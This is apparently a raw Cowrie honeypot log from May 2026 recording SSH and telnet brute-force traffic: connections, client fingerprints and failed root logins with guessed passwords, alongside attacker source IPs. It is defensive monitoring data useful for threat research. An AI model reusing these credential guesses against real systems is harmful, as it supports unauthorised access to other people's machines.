{"eventid":"cowrie.login.failed","username":"root","password":"volkov","message":"login attempt [root/volkov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:37.465847Z","src_ip":"103.27.238.114","session":"81942225f0f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13579","message":"login attempt [root/13579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:37.825712Z","src_ip":"103.166.103.173","session":"4ab84bdf4bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:38.742723Z","src_ip":"103.27.238.114","session":"81942225f0f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:39.067669Z","src_ip":"103.166.103.173","session":"4ab84bdf4bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.038058280944824,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:49.811296Z","src_ip":"192.119.13.58","session":"37cb061403fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":49466,"dst_ip":"10.17.0.5","dst_port":22,"session":"07854121112b","protocol":"ssh","message":"New connection: 35.225.56.202:49466 (10.17.0.5:22) [session: 07854121112b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:50.882179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:50.886761Z","src_ip":"35.225.56.202","session":"07854121112b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:50.922655Z","src_ip":"35.225.56.202","session":"07854121112b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2038","message":"login attempt [root/2038] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:51.096777Z","src_ip":"35.225.56.202","session":"07854121112b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:52.135975Z","src_ip":"35.225.56.202","session":"07854121112b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":34666,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2e18cdf6a1d","protocol":"ssh","message":"New connection: 43.135.177.217:34666 (10.17.0.5:22) [session: c2e18cdf6a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:52.845659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:52.850661Z","src_ip":"43.135.177.217","session":"c2e18cdf6a1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:52.919172Z","src_ip":"43.135.177.217","session":"c2e18cdf6a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1933","message":"login attempt [root/1933] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:53.223337Z","src_ip":"43.135.177.217","session":"c2e18cdf6a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:54.295480Z","src_ip":"43.135.177.217","session":"c2e18cdf6a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.99665069580078,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:55.285054Z","src_ip":"192.119.13.58","session":"b954fd16836b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55910,"dst_ip":"10.17.0.5","dst_port":23,"session":"22017b1ec6cb","protocol":"telnet","message":"New connection: 192.119.13.58:55910 (10.17.0.5:23) [session: 22017b1ec6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:55.954762Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43472,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4d99fba8e1","protocol":"telnet","message":"New connection: 192.119.13.58:43472 (10.17.0.5:23) [session: 1e4d99fba8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:59.912053Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45092,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cd5050a8a7a","protocol":"telnet","message":"New connection: 192.119.13.58:45092 (10.17.0.5:23) [session: 4cd5050a8a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:00.392014Z"}
{"eventid":"cowrie.session.closed","duration":5.755371809005737,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:06.147279Z","src_ip":"192.119.13.58","session":"4cd5050a8a7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":37058,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dadbc113b46","protocol":"ssh","message":"New connection: 43.134.177.27:37058 (10.17.0.5:22) [session: 9dadbc113b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:06.608810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:06.613945Z","src_ip":"43.134.177.27","session":"9dadbc113b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:06.845617Z","src_ip":"43.134.177.27","session":"9dadbc113b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gitlab-runner","message":"login attempt [root/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:07.803883Z","src_ip":"43.134.177.27","session":"9dadbc113b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.17219400405884,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:08.064656Z","src_ip":"192.119.13.58","session":"f231f8d7d1ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":36208,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba0117eb2335","protocol":"ssh","message":"New connection: 193.233.48.169:36208 (10.17.0.5:22) [session: ba0117eb2335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:08.554690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:08.559304Z","src_ip":"193.233.48.169","session":"ba0117eb2335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:08.685973Z","src_ip":"193.233.48.169","session":"ba0117eb2335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:09.038352Z","src_ip":"43.134.177.27","session":"9dadbc113b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0s1t1v3","message":"login attempt [root/p0s1t1v3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:09.206684Z","src_ip":"193.233.48.169","session":"ba0117eb2335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:10.338753Z","src_ip":"193.233.48.169","session":"ba0117eb2335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59466,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f55e9ff87f4","protocol":"telnet","message":"New connection: 192.119.13.58:59466 (10.17.0.5:23) [session: 4f55e9ff87f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:10.980938Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":49102,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f8c42def8f3","protocol":"ssh","message":"New connection: 186.122.177.140:49102 (10.17.0.5:22) [session: 9f8c42def8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:14.217901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:14.223101Z","src_ip":"186.122.177.140","session":"9f8c42def8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:14.483018Z","src_ip":"186.122.177.140","session":"9f8c42def8f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ismail123","message":"login attempt [root/ismail123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:15.280197Z","src_ip":"186.122.177.140","session":"9f8c42def8f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.206.113.194","src_port":52678,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c734cfa3549","protocol":"telnet","message":"New connection: 119.206.113.194:52678 (159.203.135.109:23) [session: 9c734cfa3549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:16.371265Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:16.452577Z","src_ip":"186.122.177.140","session":"9f8c42def8f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.77896285057068,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:16.584540Z","src_ip":"192.119.13.58","session":"c4a4602dd5c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43982,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b4fd475eec5","protocol":"telnet","message":"New connection: 192.119.13.58:43982 (10.17.0.5:23) [session: 8b4fd475eec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:21.033828Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44704,"dst_ip":"10.17.0.5","dst_port":23,"session":"79830069e832","protocol":"telnet","message":"New connection: 192.119.13.58:44704 (10.17.0.5:23) [session: 79830069e832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:21.234852Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47432,"dst_ip":"10.17.0.5","dst_port":23,"session":"030863f31a7b","protocol":"telnet","message":"New connection: 192.119.13.58:47432 (10.17.0.5:23) [session: 030863f31a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:21.966646Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":42752,"dst_ip":"159.203.135.109","dst_port":22,"session":"296df61dbb81","protocol":"ssh","message":"New connection: 103.210.22.17:42752 (159.203.135.109:22) [session: 296df61dbb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:24.575289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:24.580763Z","src_ip":"103.210.22.17","session":"296df61dbb81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":35128,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bf503792390","protocol":"ssh","message":"New connection: 80.66.85.226:35128 (10.17.0.5:22) [session: 1bf503792390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:27.908372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:27.913203Z","src_ip":"80.66.85.226","session":"1bf503792390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:28.005447Z","src_ip":"80.66.85.226","session":"1bf503792390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8123q","message":"login attempt [root/8123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:28.283370Z","src_ip":"80.66.85.226","session":"1bf503792390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49484,"dst_ip":"10.17.0.5","dst_port":23,"session":"cffa3fcd9921","protocol":"telnet","message":"New connection: 192.119.13.58:49484 (10.17.0.5:23) [session: cffa3fcd9921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:29.367184Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:29.379069Z","src_ip":"80.66.85.226","session":"1bf503792390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.021113157272339,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:29.392239Z","src_ip":"119.206.113.194","session":"9c734cfa3549","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33654,"dst_ip":"10.17.0.5","dst_port":23,"session":"f863a90da51c","protocol":"telnet","message":"New connection: 192.119.13.58:33654 (10.17.0.5:23) [session: f863a90da51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:32.461561Z"}
{"eventid":"cowrie.session.closed","duration":37.23642110824585,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:33.191055Z","src_ip":"192.119.13.58","session":"22017b1ec6cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.20.223.56","src_port":49714,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c6ef0ce2aba","protocol":"ssh","message":"New connection: 103.20.223.56:49714 (10.17.0.5:22) [session: 7c6ef0ce2aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:37.955562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:37.961049Z","src_ip":"103.20.223.56","session":"7c6ef0ce2aba","protocol":"ssh"}
